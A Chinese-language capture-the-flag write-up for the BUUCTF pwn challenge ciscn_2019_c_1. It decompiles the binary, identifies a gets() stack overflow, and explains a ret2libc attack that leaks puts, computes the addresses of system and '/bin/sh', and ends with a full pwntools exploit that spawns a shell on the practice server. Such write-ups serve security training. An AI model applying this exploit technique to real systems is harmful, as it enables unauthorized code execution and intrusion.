[C++知识库]ciscn_2019_c_1

ciscn_2019_c_1

使用checksec查看：

只开启了栈不可执行。

放进IDA中分析：

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h]

  init(*(_QWORD *)&argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}

• begin()是文本，不用管。
• 选项2和3没什么用，只有1是有用的。
• 跟进encrypt()

encrypt()：

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

• gets(s);：存在栈溢出。
• 中间一堆代码加密方式。

题目思路

• 没有Canary，可以通过栈溢出泄露lib
• 算出偏移量，算出system函数和“bin/sh”字符串地址
• 再次通过栈溢出getshell

步骤解析

用\x00绕过strlen()函数的检测

接着就能正常编写payload，泄露libc基地址，从而算出system()地址和/bin/sh地址

之后再通过一次栈溢出即可getshell

完整exp

from pwn import *
# from LibcSearcher import *

#start
# r = process("../buu/ciscn_2019_c_1")
r = remote("node4.buuoj.cn",25053)
lib = ELF("../buu/ubuntu18(64).so")
elf = ELF("../buu/ciscn_2019_c_1")

#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_addr = 0x400c83
main_addr = elf.symbols['main']
ret=0x4006b9

#attack
payload = b'\x00' + b'M'*(0x50+8-1) +p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.recv()
r.sendline('1')
r.recv()
r.sendline(payload)
r.recvline()
r.recvline()
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))
# print("puts_addr:"+str(hex(puts_addr)))

# libc
base_addr = puts_addr - lib.symbols['puts']
system_addr = base_addr + lib.symbols['system']
bin_sh_addr = base_addr + next(lib.search(b'/bin/sh'))

# print("system_addr:"+str(hex(system_addr)))
# print("bin_sh_addr:"+str(hex(bin_sh_addr)))
# obj = LibcSearcher("puts", puts_addr)
# base_addr = puts_addr >> 24
# base_addr = base_addr << 24
# system_addr = base_addr+ obj.dump("system")        #system 偏移
# bin_sh_addr = base_addr+ obj.dump("str_bin_sh")    #/bin/sh 偏移



#attack2
payload2 = b'\x00' + b'M'*(0x50+8-1) + p64(ret) +p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.recv()
r.sendline('1')
r.recv()
r.sendline(payload2)

r.interactive()